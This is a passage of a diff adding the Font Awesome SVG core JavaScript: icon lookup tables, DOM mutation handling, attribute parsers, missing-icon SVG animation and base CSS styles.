undefined) { + i = 1; + result = subject[keys[0]]; + } else { + i = 0; + result = initialValue; + } + + for (; i < length; i++) { + key = keys[i]; + result = iterator(result, subject[key], key, subject); + } + + return result; + }; + + function toHex(unicode) { + var result = ''; + + for (var i = 0; i < unicode.length; i++) { + var hex = unicode.charCodeAt(i).toString(16); + result += ('000' + hex).slice(-4); + } + + return result; + } + + function defineIcons(prefix, icons) { + var params = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}; + var _params$skipHooks = params.skipHooks, + skipHooks = _params$skipHooks === void 0 ? false : _params$skipHooks; + var normalized = Object.keys(icons).reduce(function (acc, iconName) { + var icon = icons[iconName]; + var expanded = !!icon.icon; + + if (expanded) { + acc[icon.iconName] = icon.icon; + } else { + acc[iconName] = icon; + } + + return acc; + }, {}); + + if (typeof namespace.hooks.addPack === 'function' && !skipHooks) { + namespace.hooks.addPack(prefix, normalized); + } else { + namespace.styles[prefix] = _objectSpread({}, namespace.styles[prefix] || {}, normalized); + } + /** + * Font Awesome 4 used the prefix of `fa` for all icons. With the introduction + * of new styles we needed to differentiate between them. Prefix `fa` is now an alias + * for `fas` so we'll easy the upgrade process for our users by automatically defining + * this as well. + */ + + + if (prefix === 'fas') { + defineIcons('fa', icons); + } + } + + var styles = namespace.styles, + shims = namespace.shims; + var _byUnicode = {}; + var _byLigature = {}; + var _byOldName = {}; + var build = function build() { + var lookup = function lookup(reducer) { + return reduce(styles, function (o, style, prefix) { + o[prefix] = reduce(style, reducer, {}); + return o; + }, {}); + }; + + _byUnicode = lookup(function (acc, icon, iconName) { + if (icon[3]) { + acc[icon[3]] = iconName; + } + + return acc; + }); + _byLigature = lookup(function (acc, icon, iconName) { + var ligatures = icon[2]; + acc[iconName] = iconName; + ligatures.forEach(function (ligature) { + acc[ligature] = iconName; + }); + return acc; + }); + var hasRegular = 'far' in styles; + _byOldName = reduce(shims, function (acc, shim) { + var oldName = shim[0]; + var prefix = shim[1]; + var iconName = shim[2]; + + if (prefix === 'far' && !hasRegular) { + prefix = 'fas'; + } + + acc[oldName] = { + prefix: prefix, + iconName: iconName + }; + return acc; + }, {}); + }; + build(); + function byUnicode(prefix, unicode) { + return (_byUnicode[prefix] || {})[unicode]; + } + function byLigature(prefix, ligature) { + return (_byLigature[prefix] || {})[ligature]; + } + function byOldName(name) { + return _byOldName[name] || { + prefix: null, + iconName: null + }; + } + + var styles$1 = namespace.styles; + var emptyCanonicalIcon = function emptyCanonicalIcon() { + return { + prefix: null, + iconName: null, + rest: [] + }; + }; + function getCanonicalIcon(values) { + return values.reduce(function (acc, cls) { + var iconName = getIconName(config.familyPrefix, cls); + + if (styles$1[cls]) { + acc.prefix = cls; + } else if (config.autoFetchSvg && Object.keys(PREFIX_TO_STYLE).indexOf(cls) > -1) { + acc.prefix = cls; + } else if (iconName) { + var shim = acc.prefix === 'fa' ? byOldName(iconName) : {}; + acc.iconName = shim.iconName || iconName; + acc.prefix = shim.prefix || acc.prefix; + } else if (cls !== config.replacementClass && cls.indexOf('fa-w-') !== 0) { + acc.rest.push(cls); + } + + return acc; + }, emptyCanonicalIcon()); + } + function iconFromMapping(mapping, prefix, iconName) { + if (mapping && mapping[prefix] && mapping[prefix][iconName]) { + return { + prefix: prefix, + iconName: iconName, + icon: mapping[prefix][iconName] + }; + } + } + + function toHtml(abstractNodes) { + var tag = abstractNodes.tag, + _abstractNodes$attrib = abstractNodes.attributes, + attributes = _abstractNodes$attrib === void 0 ? {} : _abstractNodes$attrib, + _abstractNodes$childr = abstractNodes.children, + children = _abstractNodes$childr === void 0 ? [] : _abstractNodes$childr; + + if (typeof abstractNodes === 'string') { + return htmlEscape(abstractNodes); + } else { + return "<".concat(tag, " ").concat(joinAttributes(attributes), ">").concat(children.map(toHtml).join(''), "</").concat(tag, ">"); + } + } + + var noop$2 = function noop() {}; + + function isWatched(node) { + var i2svg = node.getAttribute ? node.getAttribute(DATA_FA_I2SVG) : null; + return typeof i2svg === 'string'; + } + + function getMutator() { + if (config.autoReplaceSvg === true) { + return mutators.replace; + } + + var mutator = mutators[config.autoReplaceSvg]; + return mutator || mutators.replace; + } + + var mutators = { + replace: function replace(mutation) { + var node = mutation[0]; + var abstract = mutation[1]; + var newOuterHTML = abstract.map(function (a) { + return toHtml(a); + }).join('\n'); + + if (node.parentNode && node.outerHTML) { + node.outerHTML = newOuterHTML + (config.keepOriginalSource && node.tagName.toLowerCase() !== 'svg' ? "<!-- ".concat(node.outerHTML, " Font Awesome fontawesome.com -->") : ''); + } else if (node.parentNode) { + var newNode = document.createElement('span'); + node.parentNode.replaceChild(newNode, node); + newNode.outerHTML = newOuterHTML; + } + }, + nest: function nest(mutation) { + var node = mutation[0]; + var abstract = mutation[1]; // If we already have a replaced node we do not want to continue nesting within it. + // Short-circuit to the standard replacement + + if (~classArray(node).indexOf(config.replacementClass)) { + return mutators.replace(mutation); + } + + var forSvg = new RegExp("".concat(config.familyPrefix, "-.*")); + delete abstract[0].attributes.style; + delete abstract[0].attributes.id; + var splitClasses = abstract[0].attributes.class.split(' ').reduce(function (acc, cls) { + if (cls === config.replacementClass || cls.match(forSvg)) { + acc.toSvg.push(cls); + } else { + acc.toNode.push(cls); + } + + return acc; + }, { + toNode: [], + toSvg: [] + }); + abstract[0].attributes.class = splitClasses.toSvg.join(' '); + var newInnerHTML = abstract.map(function (a) { + return toHtml(a); + }).join('\n'); + node.setAttribute('class', splitClasses.toNode.join(' ')); + node.setAttribute(DATA_FA_I2SVG, ''); + node.innerHTML = newInnerHTML; + } + }; + + function performOperationSync(op) { + op(); + } + + function perform(mutations, callback) { + var callbackFunction = typeof callback === 'function' ? callback : noop$2; + + if (mutations.length === 0) { + callbackFunction(); + } else { + var frame = performOperationSync; + + if (config.mutateApproach === MUTATION_APPROACH_ASYNC) { + frame = WINDOW.requestAnimationFrame || performOperationSync; + } + + frame(function () { + var mutator = getMutator(); + var mark = perf.begin('mutate'); + mutations.map(mutator); + mark(); + callbackFunction(); + }); + } + } + var disabled = false; + function disableObservation() { + disabled = true; + } + function enableObservation() { + disabled = false; + } + var mo = null; + function observe(options) { + if (!MUTATION_OBSERVER) { + return; + } + + if (!config.observeMutations) { + return; + } + + var treeCallback = options.treeCallback, + nodeCallback = options.nodeCallback, + pseudoElementsCallback = options.pseudoElementsCallback, + _options$observeMutat = options.observeMutationsRoot, + observeMutationsRoot = _options$observeMutat === void 0 ? DOCUMENT : _options$observeMutat; + mo = new MUTATION_OBSERVER(function (objects) { + if (disabled) return; + toArray(objects).forEach(function (mutationRecord) { + if (mutationRecord.type === 'childList' && mutationRecord.addedNodes.length > 0 && !isWatched(mutationRecord.addedNodes[0])) { + if (config.searchPseudoElements) { + pseudoElementsCallback(mutationRecord.target); + } + + treeCallback(mutationRecord.target); + } + + if (mutationRecord.type === 'attributes' && mutationRecord.target.parentNode && config.searchPseudoElements) { + pseudoElementsCallback(mutationRecord.target.parentNode); + } + + if (mutationRecord.type === 'attributes' && isWatched(mutationRecord.target) && ~ATTRIBUTES_WATCHED_FOR_MUTATION.indexOf(mutationRecord.attributeName)) { + if (mutationRecord.attributeName === 'class') { + var _getCanonicalIcon = getCanonicalIcon(classArray(mutationRecord.target)), + prefix = _getCanonicalIcon.prefix, + iconName = _getCanonicalIcon.iconName; + + if (prefix) mutationRecord.target.setAttribute('data-prefix', prefix); + if (iconName) mutationRecord.target.setAttribute('data-icon', iconName); + } else { + nodeCallback(mutationRecord.target); + } + } + }); + }); + if (!IS_DOM) return; + mo.observe(observeMutationsRoot, { + childList: true, + attributes: true, + characterData: true, + subtree: true + }); + } + function disconnect() { + if (!mo) return; + mo.disconnect(); + } + + function styleParser (node) { + var style = node.getAttribute('style'); + var val = []; + + if (style) { + val = style.split(';').reduce(function (acc, style) { + var styles = style.split(':'); + var prop = styles[0]; + var value = styles.slice(1); + + if (prop && value.length > 0) { + acc[prop] = value.join(':').trim(); + } + + return acc; + }, {}); + } + + return val; + } + + function classParser (node) { + var existingPrefix = node.getAttribute('data-prefix'); + var existingIconName = node.getAttribute('data-icon'); + var innerText = node.innerText !== undefined ? node.innerText.trim() : ''; + var val = getCanonicalIcon(classArray(node)); + + if (existingPrefix && existingIconName) { + val.prefix = existingPrefix; + val.iconName = existingIconName; + } + + if (val.prefix && innerText.length > 1) { + val.iconName = byLigature(val.prefix, node.innerText); + } else if (val.prefix && innerText.length === 1) { + val.iconName = byUnicode(val.prefix, toHex(node.innerText)); + } + + return val; + } + + var parseTransformString = function parseTransformString(transformString) { + var transform = { + size: 16, + x: 0, + y: 0, + flipX: false, + flipY: false, + rotate: 0 + }; + + if (!transformString) { + return transform; + } else { + return transformString.toLowerCase().split(' ').reduce(function (acc, n) { + var parts = n.toLowerCase().split('-'); + var first = parts[0]; + var rest = parts.slice(1).join('-'); + + if (first && rest === 'h') { + acc.flipX = true; + return acc; + } + + if (first && rest === 'v') { + acc.flipY = true; + return acc; + } + + rest = parseFloat(rest); + + if (isNaN(rest)) { + return acc; + } + + switch (first) { + case 'grow': + acc.size = acc.size + rest; + break; + + case 'shrink': + acc.size = acc.size - rest; + break; + + case 'left': + acc.x = acc.x - rest; + break; + + case 'right': + acc.x = acc.x + rest; + break; + + case 'up': + acc.y = acc.y - rest; + break; + + case 'down': + acc.y = acc.y + rest; + break; + + case 'rotate': + acc.rotate = acc.rotate + rest; + break; + } + + return acc; + }, transform); + } + }; + function transformParser (node) { + return parseTransformString(node.getAttribute('data-fa-transform')); + } + + function symbolParser (node) { + var symbol = node.getAttribute('data-fa-symbol'); + return symbol === null ? false : symbol === '' ? true : symbol; + } + + function attributesParser (node) { + var extraAttributes = toArray(node.attributes).reduce(function (acc, attr) { + if (acc.name !== 'class' && acc.name !== 'style') { + acc[attr.name] = attr.value; + } + + return acc; + }, {}); + var title = node.getAttribute('title'); + var titleId = node.getAttribute('data-fa-title-id'); + + if (config.autoA11y) { + if (title) { + extraAttributes['aria-labelledby'] = "".concat(config.replacementClass, "-title-").concat(titleId || nextUniqueId()); + } else { + extraAttributes['aria-hidden'] = 'true'; + extraAttributes['focusable'] = 'false'; + } + } + + return extraAttributes; + } + + function maskParser (node) { + var mask = node.getAttribute('data-fa-mask'); + + if (!mask) { + return emptyCanonicalIcon(); + } else { + return getCanonicalIcon(mask.split(' ').map(function (i) { + return i.trim(); + })); + } + } + + function blankMeta() { + return { + iconName: null, + title: null, + titleId: null, + prefix: null, + transform: meaninglessTransform, + symbol: false, + mask: null, + maskId: null, + extra: { + classes: [], + styles: {}, + attributes: {} + } + }; + } + function parseMeta(node) { + var _classParser = classParser(node), + iconName = _classParser.iconName, + prefix = _classParser.prefix, + extraClasses = _classParser.rest; + + var extraStyles = styleParser(node); + var transform = transformParser(node); + var symbol = symbolParser(node); + var extraAttributes = attributesParser(node); + var mask = maskParser(node); + return { + iconName: iconName, + title: node.getAttribute('title'), + titleId: node.getAttribute('data-fa-title-id'), + prefix: prefix, + transform: transform, + symbol: symbol, + mask: mask, + maskId: node.getAttribute('data-fa-mask-id'), + extra: { + classes: extraClasses, + styles: extraStyles, + attributes: extraAttributes + } + }; + } + + function MissingIcon(error) { + this.name = 'MissingIcon'; + this.message = error || 'Icon unavailable'; + this.stack = new Error().stack; + } + MissingIcon.prototype = Object.create(Error.prototype); + MissingIcon.prototype.constructor = MissingIcon; + + var FILL = { + fill: 'currentColor' + }; + var ANIMATION_BASE = { + attributeType: 'XML', + repeatCount: 'indefinite', + dur: '2s' + }; + var RING = { + tag: 'path', + attributes: _objectSpread({}, FILL, { + d: 'M156.5,447.7l-12.6,29.5c-18.7-9.5-35.9-21.2-51.5-34.9l22.7-22.7C127.6,430.5,141.5,440,156.5,447.7z M40.6,272H8.5 c1.4,21.2,5.4,41.7,11.7,61.1L50,321.2C45.1,305.5,41.8,289,40.6,272z M40.6,240c1.4-18.8,5.2-37,11.1-54.1l-29.5-12.6 C14.7,194.3,10,216.7,8.5,240H40.6z M64.3,156.5c7.8-14.9,17.2-28.8,28.1-41.5L69.7,92.3c-13.7,15.6-25.5,32.8-34.9,51.5 L64.3,156.5z M397,419.6c-13.9,12-29.4,22.3-46.1,30.4l11.9,29.8c20.7-9.9,39.8-22.6,56.9-37.6L397,419.6z M115,92.4 c13.9-12,29.4-22.3,46.1-30.4l-11.9-29.8c-20.7,9.9-39.8,22.6-56.8,37.6L115,92.4z M447.7,355.5c-7.8,14.9-17.2,28.8-28.1,41.5 l22.7,22.7c13.7-15.6,25.5-32.9,34.9-51.5L447.7,355.5z M471.4,272c-1.4,18.8-5.2,37-11.1,54.1l29.5,12.6 c7.5-21.1,12.2-43.5,13.6-66.8H471.4z M321.2,462c-15.7,5-32.2,8.2-49.2,9.4v32.1c21.2-1.4,41.7-5.4,61.1-11.7L321.2,462z M240,471.4c-18.8-1.4-37-5.2-54.1-11.1l-12.6,29.5c21.1,7.5,43.5,12.2,66.8,13.6V471.4z M462,190.8c5,15.7,8.2,32.2,9.4,49.2h32.1 c-1.4-21.2-5.4-41.7-11.7-61.1L462,190.8z M92.4,397c-12-13.9-22.3-29.4-30.4-46.1l-29.8,11.9c9.9,20.7,22.6,39.8,37.6,56.9 L92.4,397z M272,40.6c18.8,1.4,36.9,5.2,54.1,11.1l12.6-29.5C317.7,14.7,295.3,10,272,8.5V40.6z M190.8,50 c15.7-5,32.2-8.2,49.2-9.4V8.5c-21.2,1.4-41.7,5.4-61.1,11.7L190.8,50z M442.3,92.3L419.6,115c12,13.9,22.3,29.4,30.5,46.1 l29.8-11.9C470,128.5,457.3,109.4,442.3,92.3z M397,92.4l22.7-22.7c-15.6-13.7-32.8-25.5-51.5-34.9l-12.6,29.5 C370.4,72.1,384.4,81.5,397,92.4z' + }) + }; + + var OPACITY_ANIMATE = _objectSpread({}, ANIMATION_BASE, { + attributeName: 'opacity' + }); + + var DOT = { + tag: 'circle', + attributes: _objectSpread({}, FILL, { + cx: '256', + cy: '364', + r: '28' + }), + children: [{ + tag: 'animate', + attributes: _objectSpread({}, ANIMATION_BASE, { + attributeName: 'r', + values: '28;14;28;28;14;28;' + }) + }, { + tag: 'animate', + attributes: _objectSpread({}, OPACITY_ANIMATE, { + values: '1;0;1;1;0;1;' + }) + }] + }; + var QUESTION = { + tag: 'path', + attributes: _objectSpread({}, FILL, { + opacity: '1', + d: 'M263.7,312h-16c-6.6,0-12-5.4-12-12c0-71,77.4-63.9,77.4-107.8c0-20-17.8-40.2-57.4-40.2c-29.1,0-44.3,9.6-59.2,28.7 c-3.9,5-11.1,6-16.2,2.4l-13.1-9.2c-5.6-3.9-6.9-11.8-2.6-17.2c21.2-27.2,46.4-44.7,91.2-44.7c52.3,0,97.4,29.8,97.4,80.2 c0,67.6-77.4,63.5-77.4,107.8C275.7,306.6,270.3,312,263.7,312z' + }), + children: [{ + tag: 'animate', + attributes: _objectSpread({}, OPACITY_ANIMATE, { + values: '1;0;0;0;0;1;' + }) + }] + }; + var EXCLAMATION = { + tag: 'path', + attributes: _objectSpread({}, FILL, { + opacity: '0', + d: 'M232.5,134.5l7,168c0.3,6.4,5.6,11.5,12,11.5h9c6.4,0,11.7-5.1,12-11.5l7-168c0.3-6.8-5.2-12.5-12-12.5h-23 C237.7,122,232.2,127.7,232.5,134.5z' + }), + children: [{ + tag: 'animate', + attributes: _objectSpread({}, OPACITY_ANIMATE, { + values: '0;0;1;1;0;0;' + }) + }] + }; + var missing = { + tag: 'g', + children: [RING, DOT, QUESTION, EXCLAMATION] + }; + + var styles$2 = namespace.styles; + function asFoundIcon(icon) { + var width = icon[0]; + var height = icon[1]; + + var _icon$slice = icon.slice(4), + _icon$slice2 = _slicedToArray(_icon$slice, 1), + vectorData = _icon$slice2[0]; + + var element = null; + + if (Array.isArray(vectorData)) { + element = { + tag: 'g', + attributes: { + class: "".concat(config.familyPrefix, "-").concat(DUOTONE_CLASSES.GROUP) + }, + children: [{ + tag: 'path', + attributes: { + class: "".concat(config.familyPrefix, "-").concat(DUOTONE_CLASSES.SECONDARY), + fill: 'currentColor', + d: vectorData[0] + } + }, { + tag: 'path', + attributes: { + class: "".concat(config.familyPrefix, "-").concat(DUOTONE_CLASSES.PRIMARY), + fill: 'currentColor', + d: vectorData[1] + } + }] + }; + } else { + element = { + tag: 'path', + attributes: { + fill: 'currentColor', + d: vectorData + } + }; + } + + return { + found: true, + width: width, + height: height, + icon: element + }; + } + function findIcon(iconName, prefix) { + return new picked(function (resolve, reject) { + var val = { + found: false, + width: 512, + height: 512, + icon: missing + }; + + if (iconName && prefix && styles$2[prefix] && styles$2[prefix][iconName]) { + var icon = styles$2[prefix][iconName]; + return resolve(asFoundIcon(icon)); + } + + if (iconName && prefix && !config.showMissingIcons) { + reject(new MissingIcon("Icon is missing for prefix ".concat(prefix, " with icon name ").concat(iconName))); + } else { + resolve(val); + } + }); + } + + var styles$3 = namespace.styles; + + function generateSvgReplacementMutation(node, nodeMeta) { + var iconName = nodeMeta.iconName, + title = nodeMeta.title, + titleId = nodeMeta.titleId, + prefix = nodeMeta.prefix, + transform = nodeMeta.transform, + symbol = nodeMeta.symbol, + mask = nodeMeta.mask, + maskId = nodeMeta.maskId, + extra = nodeMeta.extra; + return new picked(function (resolve, reject) { + picked.all([findIcon(iconName, prefix), findIcon(mask.iconName, mask.prefix)]).then(function (_ref) { + var _ref2 = _slicedToArray(_ref, 2), + main = _ref2[0], + mask = _ref2[1]; + + resolve([node, makeInlineSvgAbstract({ + icons: { + main: main, + mask: mask + }, + prefix: prefix, + iconName: iconName, + transform: transform, + symbol: symbol, + mask: mask, + maskId: maskId, + title: title, + titleId: titleId, + extra: extra, + watchable: true + })]); + }); + }); + } + + function generateLayersText(node, nodeMeta) { + var title = nodeMeta.title, + transform = nodeMeta.transform, + extra = nodeMeta.extra; + var width = null; + var height = null; + + if (IS_IE) { + var computedFontSize = parseInt(getComputedStyle(node).fontSize, 10); + var boundingClientRect = node.getBoundingClientRect(); + width = boundingClientRect.width / computedFontSize; + height = boundingClientRect.height / computedFontSize; + } + + if (config.autoA11y && !title) { + extra.attributes['aria-hidden'] = 'true'; + } + + return picked.resolve([node, makeLayersTextAbstract({ + content: node.innerHTML, + width: width, + height: height, + transform: transform, + title: title, + extra: extra, + watchable: true + })]); + } + + function generateMutation(node) { + var nodeMeta = parseMeta(node); + + if (~nodeMeta.extra.classes.indexOf(LAYERS_TEXT_CLASSNAME)) { + return generateLayersText(node, nodeMeta); + } else { + return generateSvgReplacementMutation(node, nodeMeta); + } + } + + function onTree(root) { + var callback = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; + if (!IS_DOM) return; + var htmlClassList = DOCUMENT.documentElement.classList; + + var hclAdd = function hclAdd(suffix) { + return htmlClassList.add("".concat(HTML_CLASS_I2SVG_BASE_CLASS, "-").concat(suffix)); + }; + + var hclRemove = function hclRemove(suffix) { + return htmlClassList.remove("".concat(HTML_CLASS_I2SVG_BASE_CLASS, "-").concat(suffix)); + }; + + var prefixes = config.autoFetchSvg ? Object.keys(PREFIX_TO_STYLE) : Object.keys(styles$3); + var prefixesDomQuery = [".".concat(LAYERS_TEXT_CLASSNAME, ":not([").concat(DATA_FA_I2SVG, "])")].concat(prefixes.map(function (p) { + return ".".concat(p, ":not([").concat(DATA_FA_I2SVG, "])"); + })).join(', '); + + if (prefixesDomQuery.length === 0) { + return; + } + + var candidates = []; + + try { + candidates = toArray(root.querySelectorAll(prefixesDomQuery)); + } catch (e) {// noop + } + + if (candidates.length > 0) { + hclAdd('pending'); + hclRemove('complete'); + } else { + return; + } + + var mark = perf.begin('onTree'); + var mutations = candidates.reduce(function (acc, node) { + try { + var mutation = generateMutation(node); + + if (mutation) { + acc.push(mutation); + } + } catch (e) { + if (!PRODUCTION) { + if (e instanceof MissingIcon) { + console.error(e); + } + } + } + + return acc; + }, []); + return new picked(function (resolve, reject) { + picked.all(mutations).then(function (resolvedMutations) { + perform(resolvedMutations, function () { + hclAdd('active'); + hclAdd('complete'); + hclRemove('pending'); + if (typeof callback === 'function') callback(); + mark(); + resolve(); + }); + }).catch(function () { + mark(); + reject(); + }); + }); + } + function onNode(node) { + var callback = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; + generateMutation(node).then(function (mutation) { + if (mutation) { + perform([mutation], callback); + } + }); + } + + function replaceForPosition(node, position) { + var pendingAttribute = "".concat(DATA_FA_PSEUDO_ELEMENT_PENDING).concat(position.replace(':', '-')); + return new picked(function (resolve, reject) { + if (node.getAttribute(pendingAttribute) !== null) { + // This node is already being processed + return resolve(); + } + + var children = toArray(node.children); + var alreadyProcessedPseudoElement = children.filter(function (c) { + return c.getAttribute(DATA_FA_PSEUDO_ELEMENT) === position; + })[0]; + var styles = WINDOW.getComputedStyle(node, position); + var fontFamily = styles.getPropertyValue('font-family').match(FONT_FAMILY_PATTERN); + var fontWeight = styles.getPropertyValue('font-weight'); + var content = styles.getPropertyValue('content'); + + if (alreadyProcessedPseudoElement && !fontFamily) { + // If we've already processed it but the current computed style does not result in a font-family, + // that probably means that a class name that was previously present to make the icon has been + // removed. So we now should delete the icon. + node.removeChild(alreadyProcessedPseudoElement); + return resolve(); + } else if (fontFamily && content !== 'none' && content !== '') { + var _content = styles.getPropertyValue('content'); + + var prefix = ~['Solid', 'Regular', 'Light', 'Duotone', 'Brands', 'Kit'].indexOf(fontFamily[2]) ? STYLE_TO_PREFIX[fontFamily[2].toLowerCase()] : FONT_WEIGHT_TO_PREFIX[fontWeight]; + var hexValue = toHex(_content.length === 3 ? _content.substr(1, 1) : _content); + var iconName = byUnicode(prefix, hexValue); + var iconIdentifier = iconName; // Only convert the pseudo element in this :before/:after position into an icon if we haven't + // already done so with the same prefix and iconName + + if (iconName && (!alreadyProcessedPseudoElement || alreadyProcessedPseudoElement.getAttribute(DATA_PREFIX) !== prefix || alreadyProcessedPseudoElement.getAttribute(DATA_ICON) !== iconIdentifier)) { + node.setAttribute(pendingAttribute, iconIdentifier); + + if (alreadyProcessedPseudoElement) { + // Delete the old one, since we're replacing it with a new one + node.removeChild(alreadyProcessedPseudoElement); + } + + var meta = blankMeta(); + var extra = meta.extra; + extra.attributes[DATA_FA_PSEUDO_ELEMENT] = position; + findIcon(iconName, prefix).then(function (main) { + var abstract = makeInlineSvgAbstract(_objectSpread({}, meta, { + icons: { + main: main, + mask: emptyCanonicalIcon() + }, + prefix: prefix, + iconName: iconIdentifier, + extra: extra, + watchable: true + })); + var element = DOCUMENT.createElement('svg'); + + if (position === ':before') { + node.insertBefore(element, node.firstChild); + } else { + node.appendChild(element); + } + + element.outerHTML = abstract.map(function (a) { + return toHtml(a); + }).join('\n'); + node.removeAttribute(pendingAttribute); + resolve(); + }).catch(reject); + } else { + resolve(); + } + } else { + resolve(); + } + }); + } + + function replace(node) { + return picked.all([replaceForPosition(node, ':before'), replaceForPosition(node, ':after')]); + } + + function processable(node) { + return node.parentNode !== document.head && !~TAGNAMES_TO_SKIP_FOR_PSEUDOELEMENTS.indexOf(node.tagName.toUpperCase()) && !node.getAttribute(DATA_FA_PSEUDO_ELEMENT) && (!node.parentNode || node.parentNode.tagName !== 'svg'); + } + + function searchPseudoElements (root) { + if (!IS_DOM) return; + return new picked(function (resolve, reject) { + var operations = toArray(root.querySelectorAll('*')).filter(processable).map(replace); + var end = perf.begin('searchPseudoElements'); + disableObservation(); + picked.all(operations).then(function () { + end(); + enableObservation(); + resolve(); + }).catch(function () { + end(); + enableObservation(); + reject(); + }); + }); + } + + var baseStyles = "svg:not(:root).svg-inline--fa {\n overflow: visible;\n}\n\n.svg-inline--fa {\n display: inline-block;\n font-size: inherit;\n height: 1em;\n overflow: visible;\n vertical-align: -0.125em;\n}\n.svg-inline--fa.fa-lg {\n vertical-align: -0.225em;\n}\n.svg-inline--fa.fa-w-1 {\n width: 0.0625em;\n}\n.svg-inline--fa.fa-w-2 {\n width: 0.125em;\n}\n.svg-inline--fa.fa-w-3 {\n width: 0.1875em;\n}\n.svg-inline--fa.fa-w-4 {\n width: 0.25em;\n}\n.svg-inline--fa.fa-w-5 {\n width: 0.3125em;\n}\n.svg-inline--fa.fa-w-6 {\n width: 0.375em;\n}\n.svg-inline--fa.fa-w-7 {\n width: 0.4375em;\n}\n.svg-inline--fa.fa-w-8 {\n width: 0.5em;\n}\n.svg-inline--fa.fa-w-9 {\n width: 0.5625em;\n}\n.svg-inline--fa.fa-w-10 {\n width: 0.625em;\n}\n.svg-inline--fa.fa-w-11 {\n width: 0.6875em;\n}\n.svg-inline--fa.fa-w-12 {\n width: 0.75em;\n}\n.svg-inline--fa.fa-w-13 {\n width: 0.8125em;\n}\n.svg-inline--fa.fa-w-14 {\n width: 0.875em;\n}\n.svg-inline--fa.fa-w-15 {\n width: 0.9375em;\n}\n.svg-inline--fa.fa-w-16 {\n width: 1em;\n}\n.svg-inline--fa.fa-w-17 {\n width: 1.0625em;\n}\n.svg-inline--fa.fa-w-18 {\n width: 1.125em;\n}\n.svg-inline--fa.fa-w-19 {\n width: 1.1875em;\n}\n.svg-inline--fa.fa-w-20 {\n width: 1.25em;\n}\n.svg-inline--fa.fa-pull-left {\n margin-right: 0.3em;\n width: auto;\n}\n.svg-inline--fa.fa-pull-right {\n margin-left: 0.3em;\n width: auto;\n}\n.svg-inline--fa.fa-border {\n height: 1.5em;\n}\n.svg-inline--fa.fa-li {\n width: 2em;\n}\n.svg-inline--fa.fa-fw {\n width: 1.25em;\n}\n\n.fa-layers svg.svg-inline--fa {\n bottom: 0;\n left: 0;\n margin: auto;\n position: absolute;\n right: 0;\n top: 0;\n}\n\n.fa-layers {\n display: inline-block;\n height: 1em;\n position: relative;\n text-align: center;\n vertical-align: -0.125em;\n width: 1em;\n}\n.fa-layers svg.svg-inline--fa {\n -webkit-transform-origin: center center;\n transform-origin: center center;\n}\n\n.fa-layers-counter, .fa-layers-text {\n display: inline-block;\n position: absolute;\n text-align: center;\n}\n\n.fa-layers-text {\n left: 50%;\n top: 50%;\n -webkit-transform: translate(-50%, -50%);\n transform: translate(-50%, -50%);\n -webkit-transform-origin: center center;\n transform-origin: center center;\n}\n\n.fa-layers-counter {\n background-color: #ff253a;\n border-radius: 1em;\n -webkit-box-sizing: border-box;\n box-sizing: border-box;\n color: #fff;\n height: 1.5em;\n line-height: 1;\n max-width: 5em;\n min-width: 1.5em;\n overflow: hidden;\n padding: 0.25em;\n right: 0;\n text-overflow: ellipsis;\n top: 0;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: top right;\n transform-origin: top right;\n}\n\n.fa-layers-bottom-right {\n bottom: 0;\n right: 0;\n top: auto;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: bottom right;\n transform-origin: bottom right;\n}\n\n.fa-layers-bottom-left {\n bottom: 0;\n left: 0;\n right: auto;\n top: auto;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: bottom left;\n transform-origin: bottom left;\n}\n\n.fa-layers-top-right {\n right: 0;\n top: 0;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: top right;\n transform-origin: top right;\n}\n\n.fa-layers-top-left {\n left: 0;\n right: auto;\n top: 0;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: top left;\n transform-origin: top left;\n}\n\n.fa-lg {\n font-size: 1.3333333333em;\n line-height: 0.75em;\n vertical-align: -0.0667em;\n}\n\n.fa-xs {\n font-size: 0.75em;\n}\n\n.fa-sm {\n font-size: 0.875em;\n}\n\n.fa-1x {\n font-size: 1em;\n}\n\n.fa-2x {\n font-size: 2em;\n}\n\n.fa-3x {\n font-size: 3em;\n}\n\n.fa-4x {\n font-size: 4em;\n}\n\n.fa-5x {\n font-size: 5em;\n}\n\n.fa-6x {\n font-size: 6em;\n}\n\n.fa-7x {\n font-size: 7em;\n}\n\n.fa-8x {\n font-size: 8em;\n}\n\n.fa-9x {\n font-size: 9em;\n}\n\n.fa-10x {\n font-size: 10em;\n}\n\n.fa-fw {\n text-align: center;\n width: 1.25em;\n}\n\n.fa-ul {\n list-style-type: none;\n margin-left: 2.5em;\n padding-left: 0;\n}\n.fa-ul > li {\n position: relative;\n}\n\n.fa-li {\n left: -2em;\n position: absolute;\n text-align: center;\n width: 2em;\n line-height: inherit;\n}\n\n.fa-border {\n border: solid 0.08em #eee;\n border-radius: 0.1em;\n padding: 0.2em 0.25em 0.15em;\n}\n\n.fa-pull-left {\n float: left;\n}\n\n.fa-pull-right {\n float: right;\n}\n\n.fa.fa-pull-left,\n.fas.fa-pull-left,\n.far.fa-pull-left,\n.fal.fa-pull-left,\n.fab.fa-pull-left {\n margin-right: 0.3em;\n}\n.fa.fa-pull-right,\n.fas.fa-pull-right,\n.far.fa-pull-right,\n.fal.fa-pull-right,\n.fab.fa-pull-right {\n margin-left: 0.3em;\n}\n\n.fa-spin {\n -webkit-animation: fa-spin 2s infinite linear;\n animation: fa-spin 2s infinite linear;\n}\n\n.fa-pulse {\n -webkit-animation: fa-spin 1s infinite steps(8);\n animation: fa-spin 1s infinite steps(8);\n}\n\n@-webkit-keyframes fa-spin {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg);\n }\n 100% {\n -webkit-transform: rotate(360deg);\n transform: rotate(360deg);\n }\n}\n\n@keyframes fa-spin {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg);\n }\n 100% {\n -webkit-transform: rotate(360deg);\n transform: rotate(360deg);\n }\n}\n.fa-rotate-90 {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)\";\n -webkit-transform: rotate(90deg);\n transform: rotate(90deg);\n}\n\n.fa-rotate-180 {\n -ms-filter: 